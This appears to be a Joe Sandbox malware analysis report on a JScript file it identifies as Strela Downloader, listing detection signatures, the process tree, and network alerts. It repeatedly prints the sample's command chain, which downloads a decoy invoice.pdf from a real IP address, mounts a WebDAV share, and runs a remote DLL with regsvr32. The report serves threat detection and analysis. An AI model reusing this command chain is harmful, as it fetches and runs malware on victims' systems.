Edit tour

Windows Analysis Report
10848104561916132198.js

Overview

General Information

Sample name:	10848104561916132198.js
Analysis ID:	1587528
MD5:	9507750dd88b9819ac32f0ba876cd6e0
SHA1:	8682c34c6671695a1f81a3dda1ba9280e307e72f
SHA256:	ea3cfd7a8be2c2f9199e99052b1a9e6765d51793e799a820b735472fec49dc12
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7272 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7364 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7412 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1624,i,12845682548832421709,10519307607851489243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7896 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7272	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7652, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7896, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7364, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:28:17.277754+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:28:14.463773+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10848104561916132198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10848104561916132198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

